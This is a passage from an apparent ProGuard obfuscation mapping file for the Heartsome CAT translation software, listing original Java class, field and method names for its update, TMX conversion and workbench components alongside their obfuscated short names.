getProvisioningUI + org.eclipse.swt.widgets.Shell getShell() -> getShell +net.heartsome.cat.p2update.handler.PreloadingRepositoryHandler$1 -> net.heartsome.cat.p2update.handler.c: + net.heartsome.cat.p2update.handler.PreloadingRepositoryHandler this$0 -> tI + void run() -> run +net.heartsome.cat.p2update.handler.PreloadingRepositoryHandler$2 -> net.heartsome.cat.p2update.handler.d: + net.heartsome.cat.p2update.handler.PreloadingRepositoryHandler this$0 -> tI + org.eclipse.core.runtime.IStatus[] val$checkStatus -> tF + org.eclipse.core.runtime.IStatus runModal(org.eclipse.core.runtime.IProgressMonitor) -> runModal +net.heartsome.cat.p2update.handler.PreloadingRepositoryHandler$3 -> net.heartsome.cat.p2update.handler.e: + net.heartsome.cat.p2update.handler.PreloadingRepositoryHandler this$0 -> tI + org.eclipse.core.runtime.IStatus[] val$checkStatus -> tF + org.eclipse.equinox.p2.ui.LoadMetadataRepositoryJob val$loadJob -> tJ + void done(org.eclipse.core.runtime.jobs.IJobChangeEvent) -> done + net.heartsome.cat.p2update.handler.PreloadingRepositoryHandler access$0(net.heartsome.cat.p2update.handler.PreloadingRepositoryHandler$3) -> a +net.heartsome.cat.p2update.handler.PreloadingRepositoryHandler$3$1 -> net.heartsome.cat.p2update.handler.f: + net.heartsome.cat.p2update.handler.PreloadingRepositoryHandler$3 this$1 -> tK + org.eclipse.core.runtime.IStatus[] val$checkStatus -> tF + org.eclipse.equinox.p2.ui.LoadMetadataRepositoryJob val$loadJob -> tJ + void run() -> run +net.heartsome.cat.p2update.resource.Messages -> net.heartsome.cat.p2update.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.p2update.ui.UpdateDescriptionPage -> net.heartsome.cat.p2update.ui.a: + org.eclipse.equinox.internal.p2.ui.model.IUElementListRoot root -> root + org.eclipse.equinox.p2.ui.ProvisioningUI ui -> ui + org.eclipse.equinox.p2.operations.UpdateOperation operation -> tD + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + java.lang.String getUpdateDescDetailText() -> eE +net.heartsome.cat.p2update.ui.UpdateWizard -> net.heartsome.cat.p2update.ui.b: + org.eclipse.equinox.p2.operations.Update[] initialSelections -> tL + org.eclipse.equinox.p2.operations.UpdateOperation operation -> tD + org.eclipse.equinox.p2.ui.ProvisioningUI ui -> ui + org.eclipse.equinox.internal.p2.ui.model.IUElementListRoot root -> root + void addPages() -> addPages + boolean performFinish() -> performFinish + void initializeResolutionModelElements(java.lang.Object[]) -> initializeResolutionModelElements + boolean shouldShowProvisioningPlanChildren() -> shouldShowProvisioningPlanChildren + org.eclipse.equinox.p2.ui.Policy getPolicy() -> getPolicy + java.lang.String getProfileId() -> getProfileId +net.heartsome.cat.p2update.ui.UpdateWizardPage -> net.heartsome.cat.p2update.ui.c: + org.eclipse.equinox.p2.ui.ProvisioningUI ui -> ui + org.eclipse.equinox.p2.operations.UpdateOperation operation -> tD + org.eclipse.equinox.internal.p2.ui.model.IUElementListRoot input -> input + org.eclipse.jface.viewers.TreeViewer treeViewer -> treeViewer + org.eclipse.equinox.internal.p2.ui.viewers.ProvElementContentProvider contentProvider -> tM + org.eclipse.equinox.internal.p2.ui.viewers.IUDetailsLabelProvider labelProvider -> tN + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + boolean performFinish() -> performFinish + void setDrilldownElements(org.eclipse.equinox.internal.p2.ui.model.IUElementListRoot,org.eclipse.equinox.p2.operations.ProfileChangeOperation) -> a + void updateCaches(org.eclipse.equinox.internal.p2.ui.model.IUElementListRoot,org.eclipse.equinox.p2.operations.ProfileChangeOperation) -> updateCaches + boolean isCreated() -> isCreated + org.eclipse.equinox.internal.p2.ui.dialogs.IUDetailsGroup getDetailsGroup() -> getDetailsGroup + org.eclipse.equinox.p2.metadata.IInstallableUnit getSelectedIU() -> getSelectedIU + java.lang.Object[] getSelectedElements() -> getSelectedElements + java.lang.String getDialogSettingsName() -> getDialogSettingsName + org.eclipse.swt.custom.SashForm getSashForm() -> getSashForm + int getColumnWidth(int) -> getColumnWidth + java.lang.String getClipboardText(org.eclipse.swt.widgets.Control) -> getClipboardText +net.heartsome.cat.p2update.ui.UpdateWizardPage$1 -> net.heartsome.cat.p2update.ui.d: + net.heartsome.cat.p2update.ui.UpdateWizardPage this$0 -> tO + void run() -> run +net.heartsome.cat.p2update.ui.UpdateWizardPage$2 -> net.heartsome.cat.p2update.ui.e: + net.heartsome.cat.p2update.ui.UpdateWizardPage this$0 -> tO + org.eclipse.swt.widgets.Composite val$parent -> tP + java.lang.Runnable val$runnable -> tQ + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.p2update.util.P2UpdateUtil -> net.heartsome.cat.p2update.util.a: + int INFO_TYPE_CHECK -> tR + int INFO_TYPE_AUTO_CHECK -> tS + java.lang.String ATUO_CHECK_UPDATE_JOB_NAME -> tT + java.lang.String CHECK_UPDATE_JOB_NAME -> tU + java.lang.String CHECK_UPDATE_TASK_NAME -> tV + java.lang.String EXECUTE_UPDATE_JOB_NAME -> tW + java.lang.String EXECUTE_UPDATE_Task_NAME -> tX + java.lang.String AUTO_UPDATE_PROMPT_INFO_TITLE -> tY + java.lang.String UPDATE_PROMPT_INFO_TITLE -> tZ + java.lang.String UPDATE_PROMPT_INFO_CONTENT -> ua + java.lang.String UI_WIZARD_DIALOG_TITLE -> ub + java.lang.String UI_WIZARD_PAGE_TITLE -> uc + java.lang.String UI_WIZARD_PAGE_DESC -> ud + java.lang.String UI_WIZARD_DESC_PAGE_TITLE -> ue + java.lang.String UI_WIZARD_DESC_PAGE_DESC -> uf + java.lang.String UPDATE_PROMPT_INFO_NO_UPDATE -> ug + java.lang.String UI_WIZARD_DESC_PAGE_DESC_DETAIL -> uh + void openConnectErrorInfoDialog(org.eclipse.swt.widgets.Shell,int) -> e +net.heartsome.cat.tmx.converter.AbstractFile2Tmx -> net.heartsome.cat.tmx.converter.a: + void doCovnerter(net.heartsome.cat.tmx.converter.bean.File2TmxConvertBean,org.eclipse.core.runtime.IProgressMonitor) -> a +net.heartsome.cat.tmx.converter.AbstractTmx2File -> net.heartsome.cat.tmx.converter.b: + net.heartsome.cat.document.TmxReader tmxReader -> uL + void OpenTmxFile(java.io.File) -> i + void doCovnerter(java.lang.String,java.io.File,org.eclipse.core.runtime.IProgressMonitor) -> a +net.heartsome.cat.tmx.converter.AbstractWriter -> net.heartsome.cat.tmx.converter.c: + java.io.FileOutputStream out -> eX + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String getHeaderXml(java.lang.String) -> dY + java.lang.String getEndXml() -> cx + void writeTmxTU(net.heartsome.cat.common.bean.TmxTU) -> g + void writeXmlString(java.lang.String) -> ea + void writeBody(java.util.List) -> P + void writeHeader(java.lang.String) -> writeHeader + void writeEnd() -> writeEnd + void flushContent() -> iy + void closeOutStream() -> iz + java.lang.String getWriterEnconding() -> jf +net.heartsome.cat.tmx.converter.ConverterFactory -> net.heartsome.cat.tmx.converter.d: + int FILE_TYPE_DOCX -> Mm + int FILE_TYPE_CSV -> ME + int FILE_TYPE_XLSX -> MU + int FILE_TYPE_TXT -> Ny + int FILE_TYPE_TBX -> OC + int FILE_TYPE_HSTM -> OG + net.heartsome.cat.tmx.converter.AbstractTmx2File getTmx2FileConverter(int) -> an + net.heartsome.cat.tmx.converter.AbstractFile2Tmx getFile2TmxConverter(java.lang.String) -> eb + net.heartsome.cat.tmx.converter.AbstractFile2Tmx getFile2TmxConverter(int) -> ao + int getFileType(java.lang.String) -> ed + java.util.Map getAllTmx2FileConverterName() -> ji +net.heartsome.cat.tmx.converter.ConverterUtil -> net.heartsome.cat.tmx.converter.e: + org.slf4j.Logger LOGGER -> LOGGER + java.io.File convert2Tmx(java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> h +net.heartsome.cat.tmx.converter.LanguageUtils -> net.heartsome.cat.tmx.converter.f: + java.lang.String convertLangCode(java.lang.String) -> convertLangCode +net.heartsome.cat.tmx.converter.Model2String -> net.heartsome.cat.tmx.converter.g: + java.lang.String TmxTU2TmxXmlString(net.heartsome.cat.common.bean.TmxTU,boolean,java.lang.String) -> a + java.lang.String TmxTu2TbxXMLString(net.heartsome.cat.common.bean.TmxTU,boolean) -> a + java.lang.String getLangSet(net.heartsome.cat.common.bean.TmxSegement,java.lang.String,boolean) -> a + java.lang.String getTUXmlString(net.heartsome.cat.common.bean.TmxSegement,java.lang.String,boolean) -> b + java.lang.String getUUID() -> getUUID + java.lang.String creationDate() -> creationDate + java.lang.String getCustomArributeXML(java.util.Map) -> v + void main(java.lang.String[]) -> main +net.heartsome.cat.tmx.converter.TmxWriter -> net.heartsome.cat.tmx.converter.h: + java.lang.String attibuteString -> OI + java.lang.String getHeaderXml(java.lang.String) -> dY + java.lang.String getEndXml() -> cx + void writeTmxTU(net.heartsome.cat.common.bean.TmxTU) -> g + java.lang.String getWriterEnconding() -> jf + java.lang.String getAttibuteString() -> jj + void setAttibuteString(java.lang.String) -> ev +net.heartsome.cat.tmx.converter.bean.File2TmxConvertBean -> net.heartsome.cat.tmx.converter.bean.a: + java.lang.String sourceFilePath -> PB + java.lang.String srcLangCode -> RI + java.lang.String tgtLangCode -> RJ + java.util.Map customeAttr -> RK + java.lang.String newTmxFilePath -> RL + java.lang.String appendExistTmxFilePath -> RM + boolean saveType -> RN + boolean isOpenTmx -> RO +net.heartsome.cat.tmx.converter.bean.TmxConvert2FileBean -> net.heartsome.cat.tmx.converter.bean.b: + java.util.List tmxFilePath -> RV + int targetFileType -> alp + boolean isNewTargetPath -> alq + java.lang.String newTargetPath -> alr +net.heartsome.cat.tmx.converter.bean.TmxTemple -> net.heartsome.cat.tmx.converter.bean.c: + java.lang.String LINE_SPLIT -> alA + java.lang.String XML_DECLARE -> alB + java.lang.String TMX_DECLARE -> alC + java.lang.String getHeaderXmlString(net.heartsome.cat.common.bean.TmxHeader) -> a + java.lang.String getDefaultTmxPrefix(java.lang.String) -> fk + java.lang.String wrapTextUseQout(java.lang.String) -> fl + net.heartsome.cat.common.bean.TmxHeader getDefaultHeader(java.lang.String) -> fm + void main(java.lang.String[]) -> main +net.heartsome.cat.tmx.converter.txt.Tmx2Txt -> net.heartsome.cat.tmx.converter.txt.a: + java.lang.String NAME -> NAME + byte[] SEPARATOR -> alD + byte[] CRLF -> CRLF + org.slf4j.Logger LOGGER -> LOGGER + void doCovnerter(java.lang.String,java.io.File,org.eclipse.core.runtime.IProgressMonitor) -> a + byte[] encodeTab(java.lang.String,java.lang.String) -> ac + void main(java.lang.String[]) -> main +net.heartsome.cat.tmx.converter.txt.Txt2Tmx -> net.heartsome.cat.tmx.converter.txt.b: + org.slf4j.Logger LOGGER -> LOGGER + long appendOffset -> alE + java.lang.String appendSrclang -> alF + void doCovnerter(net.heartsome.cat.tmx.converter.bean.File2TmxConvertBean,org.eclipse.core.runtime.IProgressMonitor) -> a + void writeTmx(net.heartsome.cat.tmx.converter.bean.File2TmxConvertBean,java.io.FileOutputStream,org.eclipse.core.runtime.IProgressMonitor) -> a + double getLineNumber(java.io.File,java.lang.String) -> a + java.lang.String createTu(java.lang.String[],java.util.Map,net.heartsome.cat.tmx.converter.bean.File2TmxConvertBean) -> a + void addTuPropNode(java.lang.StringBuilder,java.util.Map) -> a + void getSrclangAndTuOffset(java.lang.String) -> fn + java.lang.String decode(java.lang.String) -> decode + java.lang.String newTmxHeader(net.heartsome.cat.tmx.converter.bean.File2TmxConvertBean) -> a +net.heartsome.cat.tmx.converter.xlsx.Cell -> net.heartsome.cat.tmx.converter.xlsx.a: + java.lang.String cellNumber -> alG + java.lang.String cellConentent -> alH + java.lang.String langCode -> Eg + java.lang.String getLangCode() -> getLangCode + void setLangCode(java.lang.String) -> setLangCode + java.lang.String getCellNumber() -> jl + void setCellNumber(java.lang.String) -> fo + java.lang.String getCellConentent() -> jm + void setCellConentent(java.lang.String) -> fp +net.heartsome.cat.tmx.converter.xlsx.Excel2007Writer -> net.heartsome.cat.tmx.converter.xlsx.b: + org.slf4j.Logger LOGGER -> LOGGER + org.apache.poi.ss.usermodel.Workbook wb -> alI + java.io.FileOutputStream out -> eX + int lastIndex -> lastIndex + org.apache.poi.ss.usermodel.CreationHelper createHelper -> alJ + org.apache.poi.ss.usermodel.Sheet sh -> alK + org.apache.poi.ss.usermodel.Row rowHeader -> alL + java.util.List cellStyle_Cache -> alM + void witerTmxTU(java.util.List,boolean) -> a + void outZip() -> lr + int getLangIndex(org.apache.poi.ss.usermodel.Row,net.heartsome.cat.common.bean.TmxSegement) -> a + org.apache.poi.ss.usermodel.CellStyle getWrapedCell() -> oo + int addLangCell(org.apache.poi.ss.usermodel.Row,net.heartsome.cat.common.bean.TmxSegement) -> b +net.heartsome.cat.tmx.converter.xlsx.Row -> net.heartsome.cat.tmx.converter.xlsx.c: + int rowNumber -> rowNumber + java.util.List cells -> alN + int getRowNumber() -> getRowNumber + void setRowNumber(int) -> setRowNumber + java.util.List getCells() -> getCells + void setCells(java.util.List) -> Q + void addCell(net.heartsome.cat.tmx.converter.xlsx.Cell) -> a + net.heartsome.cat.common.bean.TmxTU toTmxTu() -> or +net.heartsome.cat.tmx.converter.xlsx.Tmx2xlsx -> net.heartsome.cat.tmx.converter.xlsx.d: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String NAME -> NAME + net.heartsome.cat.tmx.converter.xlsx.Excel2007Writer writer -> alO + int size -> size + void doCovnerter(java.lang.String,java.io.File,org.eclipse.core.runtime.IProgressMonitor) -> a +net.heartsome.cat.tmx.converter.xlsx.Xlsx2Tmx -> net.heartsome.cat.tmx.converter.xlsx.e: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String attString -> alP + void doCovnerter(net.heartsome.cat.tmx.converter.bean.File2TmxConvertBean,org.eclipse.core.runtime.IProgressMonitor) -> a + net.heartsome.cat.tmx.converter.AbstractWriter getWriter(net.heartsome.cat.tmx.converter.bean.File2TmxConvertBean) -> b +net.heartsome.cat.tmx.converter.xlsx.Xlsx2TmxHelper -> net.heartsome.cat.tmx.converter.xlsx.f: + net.heartsome.cat.tmx.converter.AbstractWriter tmxWriter -> alQ + java.util.List cache -> gg + int cache_size -> alR + java.util.Map langCodes -> alS + org.eclipse.core.runtime.IProgressMonitor monitor -> monitor + java.lang.String getSrcLang() -> getSrcLang + void parseXlsxFileAndWriteTmxBody(java.lang.String,net.heartsome.cat.tmx.converter.AbstractWriter,org.eclipse.core.runtime.IProgressMonitor) -> a + int countTotal(long) -> a + void parse(java.io.InputStream,org.apache.poi.xssf.eventusermodel.ReadOnlySharedStringsTable,net.heartsome.cat.tmx.converter.AbstractWriter) -> a + void writeTmxTU(java.util.List,net.heartsome.cat.tmx.converter.AbstractWriter) -> a + boolean validateAppend() -> os + void writeEnd() -> writeEnd + boolean access$0(net.heartsome.cat.tmx.converter.xlsx.Xlsx2TmxHelper) -> a + net.heartsome.cat.tmx.converter.AbstractWriter access$1(net.heartsome.cat.tmx.converter.xlsx.Xlsx2TmxHelper) -> b + java.util.List access$2(net.heartsome.cat.tmx.converter.xlsx.Xlsx2TmxHelper) -> c + org.eclipse.core.runtime.IProgressMonitor access$3(net.heartsome.cat.tmx.converter.xlsx.Xlsx2TmxHelper) -> d + void access$4(net.heartsome.cat.tmx.converter.xlsx.Xlsx2TmxHelper,java.util.List,net.heartsome.cat.tmx.converter.AbstractWriter) -> a + java.util.Map access$5(net.heartsome.cat.tmx.converter.xlsx.Xlsx2TmxHelper) -> e +net.heartsome.cat.tmx.converter.xlsx.Xlsx2TmxHelper$XSSFHander -> net.heartsome.cat.tmx.converter.xlsx.g: + java.util.regex.Pattern NUMBER -> alT + java.lang.String lastElementName -> alU + boolean isSheredString -> alV + java.lang.StringBuilder lastCellContent -> alW + org.apache.poi.xssf.eventusermodel.ReadOnlySharedStringsTable sharedStringsTable -> alX + net.heartsome.cat.tmx.converter.xlsx.Row cRow -> alY + net.heartsome.cat.tmx.converter.xlsx.Cell cCell -> alZ + net.heartsome.cat.tmx.converter.xlsx.Xlsx2TmxHelper this$0 -> ama + void startElement(java.lang.String,java.lang.String,java.lang.String,org.xml.sax.Attributes) -> startElement + void endElement(java.lang.String,java.lang.String,java.lang.String) -> endElement + void characters(char[],int,int) -> characters + boolean validateLangs(net.heartsome.cat.tmx.converter.xlsx.Row) -> a + boolean isHasDuplicateLangCode() -> ot + java.lang.String getCellPosition(java.lang.String) -> fq +net.heartsome.cat.ts.Activator -> net.heartsome.cat.ts.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.ts.Activator plugin -> uj + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.ts.Activator getDefault() -> eF + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor +net.heartsome.cat.ts.Application -> net.heartsome.cat.ts.b: + java.lang.Object start(org.eclipse.equinox.app.IApplicationContext) -> start + void initSystemLan() -> eG + void stop() -> stop + void deleteErrorMemoryInfo() -> nL +net.heartsome.cat.ts.Application$1 -> net.heartsome.cat.ts.c: + net.heartsome.cat.ts.Application this$0 -> uk + org.eclipse.swt.widgets.Display val$display -> cJ + org.eclipse.ui.IWorkbench val$workbench -> ul + void run() -> run +net.heartsome.cat.ts.ApplicationActionBarAdvisor -> net.heartsome.cat.ts.d: + org.eclipse.ui.IWorkbenchWindow window -> window + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction lockToolBarAction -> um + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction closeAction -> un + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction closeAllAction -> uo + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction refreshAction -> up + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction exitAction -> uq + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction undoAction -> ur + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction redoAction -> us + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction cutAction -> ut + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction copyAction -> uu + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction pasteAction -> uv + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction deleteAction -> uw + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction renameAction -> ux + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction selectAllAction -> uy + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction findAction -> uz + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction helpAction -> uA + boolean isDisposed -> uB + org.eclipse.jface.action.MenuManager coolbarPopupMenuManager -> uC + void makeActions(org.eclipse.ui.IWorkbenchWindow) -> makeActions + void fillMenuBar(org.eclipse.jface.action.IMenuManager) -> fillMenuBar + void fillCoolBar(org.eclipse.jface.action.ICoolBarManager) -> fillCoolBar + org.eclipse.jface.action.IToolBarManager createToolItem(org.eclipse.jface.action.ICoolBarManager) -> a + org.eclipse.jface.action.MenuManager createToolMenu() -> eH + org.eclipse.jface.action.MenuManager createFileMenu() -> eI + org.eclipse.jface.action.MenuManager createEditMenu() -> eJ + org.eclipse.jface.action.MenuManager createHelpMenu() -> eK + void dispose() -> dispose + void removeUnusedAction() -> eL +net.heartsome.cat.ts.ApplicationActionBarAdvisor$1 -> net.heartsome.cat.ts.e: + net.heartsome.cat.ts.ApplicationActionBarAdvisor this$0 -> uD + org.eclipse.jface.action.IContributionItem create(org.eclipse.ui.IWorkbenchWindow) -> create +net.heartsome.cat.ts.ApplicationWorkbenchAdvisor -> net.heartsome.cat.ts.f: + net.heartsome.cat.ts.ApplicationWorkbenchWindowAdvisor WorkbenchWindowAdvisor -> uE + org.eclipse.ui.application.WorkbenchWindowAdvisor createWorkbenchWindowAdvisor(org.eclipse.ui.application.IWorkbenchWindowConfigurer) -> createWorkbenchWindowAdvisor + java.lang.String getInitialWindowPerspectiveId() -> getInitialWindowPerspectiveId + org.eclipse.core.runtime.IAdaptable getDefaultPageInput() -> getDefaultPageInput + void initialize(org.eclipse.ui.application.IWorkbenchConfigurer) -> initialize + void declareWorkbenchImages() -> eM + void declareWorkbenchImage(org.osgi.framework.Bundle,java.lang.String,java.lang.String,boolean) -> a + org.eclipse.ui.model.ContributionComparator getComparatorFor(java.lang.String) -> getComparatorFor +net.heartsome.cat.ts.ApplicationWorkbenchWindowAdvisor -> net.heartsome.cat.ts.g: + java.lang.String AUTO_UPDATE_FLAG -> uF + org.slf4j.Logger LOGGER -> LOGGER + java.util.List FILE_NEW__ALLOWED_WIZARDS -> uG + org.eclipse.ui.application.ActionBarAdvisor createActionBarAdvisor(org.eclipse.ui.application.IActionBarConfigurer) -> createActionBarAdvisor + void preWindowOpen() -> preWindowOpen + org.eclipse.ui.wizards.IWizardDescriptor[] getAllWizards(org.eclipse.ui.wizards.IWizardCategory[]) -> a + boolean allowedWizard(java.lang.String) -> cm + void postWindowOpen() -> postWindowOpen + void addWorkplaceListener() -> ou + boolean preWindowShellClose() -> preWindowShellClose + void addViewPartVisibleListener(org.eclipse.ui.IWorkbenchWindow) -> a + void setStatusVisible(boolean) -> p + void setProgressIndicatorVisible(boolean) -> J + void setInitLinkEnable() -> ig + void postWindowCreate() -> postWindowCreate + void automaticCheckUpdate() -> eN + void setDragModle() -> eO + void setListenerToPespective(org.eclipse.ui.commands.ICommandService) -> a + void setIdToHelpSystem() -> eP + void restorEditorHistory() -> nM + void saveEditorHistory() -> nN + void addAutoPluginMenu() -> eQ + org.slf4j.Logger access$0() -> access$0 +net.heartsome.cat.ts.ApplicationWorkbenchWindowAdvisor$1 -> net.heartsome.cat.ts.h: + net.heartsome.cat.ts.ApplicationWorkbenchWindowAdvisor this$0 -> uH + void resourceChanged(org.eclipse.core.resources.IResourceChangeEvent) -> resourceChanged +net.heartsome.cat.ts.ApplicationWorkbenchWindowAdvisor$1$1 -> net.heartsome.cat.ts.i: + net.heartsome.cat.ts.ApplicationWorkbenchWindowAdvisor$1 this$1 -> uJ + void run() -> run +net.heartsome.cat.ts.ApplicationWorkbenchWindowAdvisor$2 -> net.heartsome.cat.ts.j: + net.heartsome.cat.ts.ApplicationWorkbenchWindowAdvisor this$0 -> uH + org.eclipse.ui.commands.ICommandService val$commandService -> uI + void setStates(java.lang.String) -> fr + void partOpened(org.eclipse.ui.IWorkbenchPartReference) -> partOpened + void partClosed(org.eclipse.ui.IWorkbenchPartReference) -> partClosed + void access$0(net.heartsome.cat.ts.ApplicationWorkbenchWindowAdvisor$2,java.lang.String) -> a +net.heartsome.cat.ts.ApplicationWorkbenchWindowAdvisor$2$1 -> net.heartsome.cat.ts.u: + net.heartsome.cat.ts.ApplicationWorkbenchWindowAdvisor$2 this$1 -> amb + org.eclipse.ui.IWorkbenchPartReference val$partRef -> amc + void run() -> run +net.heartsome.cat.ts.ApplicationWorkbenchWindowAdvisor$3 -> net.heartsome.cat.ts.s: + net.heartsome.cat.ts.ApplicationWorkbenchWindowAdvisor this$0 -> uH + org.eclipse.ui.commands.ICommandService val$commandService -> uI + org.eclipse.ui.IWorkbenchWindow val$window -> amd + void perspectiveChanged(org.eclipse.ui.IWorkbenchPage,org.eclipse.ui.IPerspectiveDescriptor,java.lang.String) -> perspectiveChanged + void perspectiveActivated(org.eclipse.ui.IWorkbenchPage,org.eclipse.ui.IPerspectiveDescriptor) -> perspectiveActivated +net.heartsome.cat.ts.ApplicationWorkbenchWindowAdvisor$4 -> net.heartsome.cat.ts.t: + net.heartsome.cat.ts.ApplicationWorkbenchWindowAdvisor this$0 -> uH + org.eclipse.ui.internal.WorkbenchPage val$page -> ame + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.ts.ApplicationWorkbenchWindowAdvisor$5 -> net.heartsome.cat.ts.v: + net.heartsome.cat.ts.ApplicationWorkbenchWindowAdvisor this$0 -> uH + boolean preShutdown(org.eclipse.ui.IWorkbench,boolean) -> preShutdown + void postShutdown(org.eclipse.ui.IWorkbench) -> postShutdown +net.heartsome.cat.ts.CommandsPropertyTester -> net.heartsome.cat.ts.k: + java.lang.String NAMESPACE -> NAMESPACE + java.lang.String PROPERTY_BASE -> uM + java.lang.String TOGGLE_PROPERTY_NAME -> uN + java.lang.String TOGGLE_PROPERTY -> uO + boolean test(java.lang.Object,java.lang.String,java.lang.Object[],java.lang.Object) -> test +net.heartsome.cat.ts.PreferencesComparator -> net.heartsome.cat.ts.l: + int category(org.eclipse.ui.model.IComparableContribution) -> category +net.heartsome.cat.ts.StandardEditorSystemMenu -> net.heartsome.cat.ts.q: + org.eclipse.jface.action.MenuManager menuManager -> ZI + org.eclipse.ui.internal.presentations.SystemMenuRestore restore -> ZJ + org.eclipse.ui.internal.presentations.SystemMenuMove move -> ZK + org.eclipse.ui.internal.presentations.SystemMenuMinimize minimize -> ZL + org.eclipse.ui.internal.presentations.SystemMenuMaximize maximize -> ZM + org.eclipse.ui.internal.presentations.SystemMenuClose close -> ZN + org.eclipse.ui.internal.presentations.SystemMenuCloseOthers closeOthers -> ZO + org.eclipse.ui.internal.presentations.SystemMenuCloseAll closeAll -> ZP + java.lang.String getMoveMenuText() -> es + void show(org.eclipse.swt.widgets.Control,org.eclipse.swt.graphics.Point,org.eclipse.ui.presentations.IPresentablePart) -> show + void dispose() -> dispose +net.heartsome.cat.ts.TSPerspective -> net.heartsome.cat.ts.m: + java.lang.String ID -> ID + void createInitialLayout(org.eclipse.ui.IPageLayout) -> createInitialLayout +net.heartsome.cat.ts.TsPreferencesConstant -> net.heartsome.cat.ts.n: + java.lang.String TS_statusBar_status -> uP +net.heartsome.cat.ts.TsPreferencesInitializer -> net.heartsome.cat.ts.o: + void initializeDefaultPreferences() -> initializeDefaultPreferences +net.heartsome.cat.ts.TsStartup -> net.heartsome.cat.ts.p: + void earlyStartup() -> earlyStartup +net.heartsome.cat.ts.UnOpenAgainEditorPresentationFactory -> net.heartsome.cat.ts.r: + int editorTabPosition -> ZQ + org.eclipse.ui.presentations.StackPresentation createEditorPresentation(org.eclipse.swt.widgets.Composite,org.eclipse.ui.presentations.IStackPresentationSite) -> createEditorPresentation +net.heartsome.cat.ts.core.Activator -> net.heartsome.cat.ts.core.Activator: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.ts.core.Activator plugin -> vo + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.ts.core.Activator getDefault() -> getDefault +net.heartsome.cat.ts.core.IProjectConfigChangedListener -> net.heartsome.cat.ts.core.IProjectConfigChangedListener: + void handProjectConfigChangedEvent() -> handProjectConfigChangedEvent +net.heartsome.cat.ts.core.Utils -> net.heartsome.cat.ts.core.Utils: + int OS_LINUX -> OS_LINUX + int OS_MAC -> OS_MAC + int OS_WINDOWS -> OS_WINDOWS + int getCurrentOS() -> getCurrentOS + java.lang.String getFileSeparator() -> getFileSeparator + java.lang.String getLineSeparator() -> getLineSeparator +net.heartsome.cat.ts.core.ValidationUtils -> net.heartsome.cat.ts.core.ValidationUtils: + java.lang.String validateProjectName(java.lang.String) -> validateProjectName + java.lang.String validateEmail(java.lang.String) -> validateEmail + boolean isNumeric(java.lang.String) -> isNumeric +net.heartsome.cat.ts.core.bean.AltTransBean -> net.heartsome.cat.ts.core.bean.AltTransBean: + net.heartsome.cat.common.bean.FuzzySearchResult fuzzyResult -> yS + java.lang.String srcText -> fO + java.lang.String srcContent -> vp + java.lang.String tgtText -> fP + java.lang.String tgtContent -> vq + java.util.Hashtable srcProps -> vr + java.util.Hashtable tgtProps -> vs + java.util.Hashtable matchProps -> vt + java.util.Vector propGroups -> vu + java.lang.String getSrcText() -> getSrcText + void setSrcText(java.lang.String) -> setSrcText + java.lang.String getSrcContent() -> getSrcContent + void setSrcContent(java.lang.String) -> setSrcContent + java.lang.String getTgtContent() -> getTgtContent + void setTgtContent(java.lang.String) -> setTgtContent + java.lang.String getTgtText() -> getTgtText + void setTgtText(java.lang.String) -> setTgtText + java.util.Hashtable getSrcProps() -> getSrcProps + void setSrcProps(java.util.Hashtable) -> setSrcProps + java.util.Hashtable getTgtProps() -> getTgtProps + void setTgtProps(java.util.Hashtable) -> setTgtProps + java.util.Hashtable getMatchProps() -> getMatchProps + void setMatchProps(java.util.Hashtable) -> setMatchProps + java.lang.String getSrcLang() -> getSrcLang + java.lang.String getTgtLang() -> getTgtLang + java.lang.String getMatchOrigin() -> getMatchOrigin + void setPropGroups(java.util.Vector) -> setPropGroups + java.util.Vector getPropGroups() -> getPropGroups + net.heartsome.cat.common.bean.FuzzySearchResult getFuzzyResult() -> getFuzzyResult + void setFuzzyResult(net.heartsome.cat.common.bean.FuzzySearchResult) -> setFuzzyResult + java.lang.String toXMLString() -> toXMLString +net.heartsome.cat.ts.core.bean.Constants -> net.heartsome.cat.ts.core.bean.Constants: + java.lang.String TMX_CREATIONTOOL -> TMX_CREATIONTOOL + java.lang.String TMX_CREATIONTOOLVERSION -> TMX_CREATIONTOOLVERSION + java.lang.String TBX_ADD_TERM_FILEDESC -> TBX_ADD_TERM_FILEDESC + java.lang.String TBX_XCS_DEFAULT -> TBX_XCS_DEFAULT + java.lang.String PT_TOOLID -> PT_TOOLID + java.lang.String TM_TOOLID -> TM_TOOLID + java.lang.String QT_TOOLID -> QT_TOOLID + java.lang.String MT_GOOGLE_TOOLID -> MT_GOOGLE_TOOLID + java.lang.String MT_BING_TOOLID -> MT_BING_TOOLID +net.heartsome.cat.ts.core.bean.FuzzyTransDataBean -> net.heartsome.cat.ts.core.bean.FuzzyTransDataBean: + java.lang.String srcText -> fO + boolean isTgtNull -> vv + 